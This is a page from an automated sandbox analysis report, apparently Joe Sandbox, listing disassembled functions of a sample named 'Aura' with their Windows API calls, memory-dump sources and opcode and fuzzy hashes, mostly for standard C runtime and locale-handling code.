String ID: 0
API String ID: 0-4108050209
Opcode ID: 0f468f1c5766cea09323f37ec19c65536b5eb227b7954c16e389a08d4ffbd507
Instruction ID: a1db1ced38e23c0580eda7370f86f8a00fe1ba88dca22276b0e6fbb9097f5f08
Opcode Fuzzy Hash: 0f468f1c5766cea09323f37ec19c65536b5eb227b7954c16e389a08d4ffbd507
Instruction Fuzzy Hash: D1B1AD3090060A8BCB78DF68C995AFEBBF1AF55300F544A1EE69297683C771AF41CB51

Function 000C14D8 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000BC16A: GetLastError.KERNEL32(?,?,000B5495,000D8E38,0000000C), ref: 000BC16E
Part of subcall function 000BC16A: SetLastError.KERNEL32(00000000), ref: 000BC210

EnumSystemLocalesW.KERNEL32(000C1580,00000001,00000000,?,-00000050,?,000C1363,00000000,-00000002,00000000,?,00000055,?), ref: 000C154A

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a267fea05cb5f14829236ccd62afcf1f7134749aa66c47cd59349db3de10220c
Instruction ID: 6c450ab48b6b279a04ed5a8b479028a4ae7de88971418e83b45332b0bc06d8f0
Opcode Fuzzy Hash: a267fea05cb5f14829236ccd62afcf1f7134749aa66c47cd59349db3de10220c
Instruction Fuzzy Hash: 5F11C2362007019FEB289F79C891AFEB791FB81768B14442DE98787B42E771A943CB40

Function 000C1960 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 000BC16A: GetLastError.KERNEL32(?,?,000B5495,000D8E38,0000000C), ref: 000BC16E
Part of subcall function 000BC16A: SetLastError.KERNEL32(00000000), ref: 000BC210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000C19B4

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 4ee1201158d4ede33fb4aa9f918b977e2e662d5fc7076785fa9b1d6917af86e3
Instruction ID: 3f9f280611518e9e5e68ba8148436031ba2c03bfa7c33ee189e6816235f1b9de
Opcode Fuzzy Hash: 4ee1201158d4ede33fb4aa9f918b977e2e662d5fc7076785fa9b1d6917af86e3
Instruction Fuzzy Hash: A111A032611206ABEB14AB68DC52EFE77ECEF06710B10417AE902D7183EB38ED059B50

Function 000C1B0D Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 000BC16A: GetLastError.KERNEL32(?,?,000B5495,000D8E38,0000000C), ref: 000BC16E
Part of subcall function 000BC16A: SetLastError.KERNEL32(00000000), ref: 000BC210

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,000C179C,00000000,00000000,?), ref: 000C1B39

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: c300610c444f0563e25e5e6b7fa7ee8b91d568a37ed22893bb42acf6a26c0f1c
Instruction ID: cae203e37391c9160692f2db315e326087dd8d52984d651e4dc9dbd961656216
Opcode Fuzzy Hash: c300610c444f0563e25e5e6b7fa7ee8b91d568a37ed22893bb42acf6a26c0f1c
Instruction Fuzzy Hash: AF01A232610112ABDB285B648805FFE77A8EB81754F15442DED06A3181FB74EE41CAE0

Function 000C17D3 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000BC16A: GetLastError.KERNEL32(?,?,000B5495,000D8E38,0000000C), ref: 000BC16E
Part of subcall function 000BC16A: SetLastError.KERNEL32(00000000), ref: 000BC210

EnumSystemLocalesW.KERNEL32(000C1840,00000001,?,?,-00000050,?,000C132B,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 000C181D

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: f877a144e4eb891c482e4c31c07aa1e0e283c3de1c94107663aa12a2776d69cc
Instruction ID: fc536c640d69d52a9b11048b30867011722dc9e04734c04632144488fac2905d
Opcode Fuzzy Hash: f877a144e4eb891c482e4c31c07aa1e0e283c3de1c94107663aa12a2776d69cc
Instruction Fuzzy Hash: E7F0C2362043045FDB245F79D881FFE7BD1EF82768B15842DFA454B692DAB19C42C650

Function 000BD1BD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000B80E1: EnterCriticalSection.KERNEL32(?,?,000BC5F8,?,000D9290,00000008,000BC4EA,?,?,?), ref: 000B80F0

EnumSystemLocalesW.KERNEL32(000BD1B0,00000001,000D9310,0000000C,000BCB11,-00000050), ref: 000BD1F5

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 6948ff16591206111b0ace9f17d2e4f409abcbe608c36f079ee03b427b9efecd
Instruction ID: d730db822675dc21a7eab78d9b4fbb6f53a977d6e93813eac6bffd157a260c6e
Opcode Fuzzy Hash: 6948ff16591206111b0ace9f17d2e4f409abcbe608c36f079ee03b427b9efecd
Instruction Fuzzy Hash: E2F03C72A01304DFE710DF98E842BD9B7E0EB05721F10842BF9109B2A1DB794A40CF51

Function 000C1915 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000BC16A: GetLastError.KERNEL32(?,?,000B5495,000D8E38,0000000C), ref: 000BC16E
Part of subcall function 000BC16A: SetLastError.KERNEL32(00000000), ref: 000BC210

EnumSystemLocalesW.KERNEL32(000C1960,00000001,?,?,?,000C1385,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 000C194C

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e9c5dcae50c177cce89181495a898ff5192959d9896fa905b056a9e3e9af2110
Instruction ID: 708ca4502a390a6b44ad3f78fd12729fd8e24ead5619738c95aedc3022fdffe4
Opcode Fuzzy Hash: e9c5dcae50c177cce89181495a898ff5192959d9896fa905b056a9e3e9af2110
Instruction Fuzzy Hash: 9EF0EC3530020557DB149F39DC65BBA7FA4EFC3B50F06405DEA058B152C6759842C7A0

Function 000BCC15 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,000B6E33,?,20001004,00000000,00000002,?,?,000B5D3D), ref: 000BCC49

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: bd6c5fcf17208a59b7e5b3160001f0dea996cdac23f75bf9c2ae9cd3ea7d9a14
Instruction ID: d13ffc4c425f6f220956d8e28aaf34dd35b8065df648d335c6e7b518f241741c
Opcode Fuzzy Hash: bd6c5fcf17208a59b7e5b3160001f0dea996cdac23f75bf9c2ae9cd3ea7d9a14
Instruction Fuzzy Hash: FBE0863150122CBBDF122F60ED04EEE7F1AEF44750F048022FD0566221CB368D21ABE4

Function 000AF8DD Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000FA00), ref: 000AF8E2

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: bf4874aacd34986021364eeb5a071eb0b4a6030f6321c4cf38b34a72a098a64b
Instruction ID: a51d2cd6f2b55a3335ab3e70c5225f60eeeed47529eae9e6c95d16db4e742a4a
Opcode Fuzzy Hash: bf4874aacd34986021364eeb5a071eb0b4a6030f6321c4cf38b34a72a098a64b
Instruction Fuzzy Hash:

Function 000BD8E0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000BD8E0

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 42074ee0db5135c99266d194bc94bda69c22faca12997f8e7f84b00b300b07b6
Instruction ID: 7b2120fe8cc6f53571ce0d0d37b8037463ce9e218e245d8181d78c53f8d7caa3
Opcode Fuzzy Hash: 42074ee0db5135c99266d194bc94bda69c22faca12997f8e7f84b00b300b07b6
Instruction Fuzzy Hash: 8BA001706132028BA7408F36AE192193BAAAB45AD1705906BAC45C6164EA399454AF65

Function 000CAAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,000CAACD,?,?,?,?,?,?,?,?,?), ref: 000CAB88
__alloca_probe_16.LIBCMT ref: 000CAC43
__alloca_probe_16.LIBCMT ref: 000CACD2
__freea.LIBCMT ref: 000CAD1D
__freea.LIBCMT ref: 000CAD23
__freea.LIBCMT ref: 000CAD59
__freea.LIBCMT ref: 000CAD5F
__freea.LIBCMT ref: 000CAD6F

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: f24bf79f2b5759095e042ea5569965e18a7b26458abdddcaf80db88d63d8c5d6
Instruction ID: ac1932932df9da96b2a4b770d9db1d049d3c4618086f4b3cc7bee8ddb1d8e0d7
Opcode Fuzzy Hash: f24bf79f2b5759095e042ea5569965e18a7b26458abdddcaf80db88d63d8c5d6
Instruction Fuzzy Hash: 4F71B172B0020E9BDF319BA48C81FEE77EA9F4B718F19055DF806A7292E7759C008752

Function 000AFE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 000AFE70
__alloca_probe_16.LIBCMT ref: 000AFE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 000AFEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000AFEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 000AFF37
__alloca_probe_16.LIBCMT ref: 000AFF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 000AFF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 000AFFB9

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 9f7ad4948132c86201e31540297ca7760bcc67212e67e5eb4ddf84e0e31b8351
Instruction ID: 81abeca533dd2c73f11c6fd92891d6deef72f7464d7c3b540154b76a0bd8a9a6
Opcode Fuzzy Hash: 9f7ad4948132c86201e31540297ca7760bcc67212e67e5eb4ddf84e0e31b8351
Instruction Fuzzy Hash: B8517D7260021BAFEB209FE0CC45FBA7BA9EF42794F25443AFD14DA191DB359C118B60

Function 000BEE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 000BEEFC

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: ccea9694d1795369d250f4e9c8fe45ed3bafb0bb7afb7b68329ecfba6a856de4
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: 6AB13372A00296AFDB219F68CC81BFEBBE5EF59310F148575E944AB283D6749D01C7A0

Function 000B0D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 000B0D77
___except_validate_context_record.LIBVCRUNTIME ref: 000B0D7F
_ValidateLocalCookies.LIBCMT ref: 000B0E08
__IsNonwritableInCurrentImage.LIBCMT ref: 000B0E33
_ValidateLocalCookies.LIBCMT ref: 000B0E88

Strings

csm, xrefs: 000B0E1D

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 0fddde31f4202a5455540aa0440081df78edb257d276843948dbe79b78f15374
Instruction ID: 883bde7acbd06bb24a39088a67bc793badc3ab3b63f076a584159abe579ba718
Opcode Fuzzy Hash: 0fddde31f4202a5455540aa0440081df78edb257d276843948dbe79b78f15374
Instruction Fuzzy Hash: E941C034A00218ABCF10DF68C885ADFBBB5AF44314F148965E9256B393D775EE11CB91

Function 000A3C70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000A3CA5
std::_Lockit::_Lockit.LIBCPMT ref: 000A3CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 000A3CE0
__Getctype.LIBCPMT ref: 000A3D92
std::_Lockit::~_Lockit.LIBCPMT ref: 000A3DD8

Strings

e., xrefs: 000A3D67

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID: e.
API String ID: 3087743877-3303777608
Opcode ID: 77dd28d0787f50d11da1b080dd7e1906068026ee82f0273d596d73e4a05b51be
Instruction ID: 8a5887486b16715f5800fd36eae0f3b4ab960ceb4b124db4489e17f81cabce57
Opcode Fuzzy Hash: 77dd28d0787f50d11da1b080dd7e1906068026ee82f0273d596d73e4a05b51be
Instruction Fuzzy Hash: 64415A71E012158FDB14DF94D845BAEB7B1FF55720F14811AE815AB392DB38AE01CFA1

Function 000B0080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 000B0086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 000B0094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 000B00A5

Strings

GetTempPath2W, xrefs: 000B009A
kernel32.dll, xrefs: 000B0081
GetSystemTimePreciseAsFileTime, xrefs: 000B008E

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: f6d93339a8747aa75ab413928d35dfeb521794b31926c19c2e5398523ebcd991
Instruction ID: 30c14ed0a74f03f4c9ca02203c46ab45f3e3ef4f7b9c05e6100d6261306c6d7c
Opcode Fuzzy Hash: f6d93339a8747aa75ab413928d35dfeb521794b31926c19c2e5398523ebcd991
Instruction Fuzzy Hash: 62D09E755673106BB3105F74BC0999A3BB9FB097113015163FD45D6351DB7A85008675

Function 000C4F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8dbf6586718f7ee27c4c04d2f3eaf94c256293f6759752b996086bf92794dab
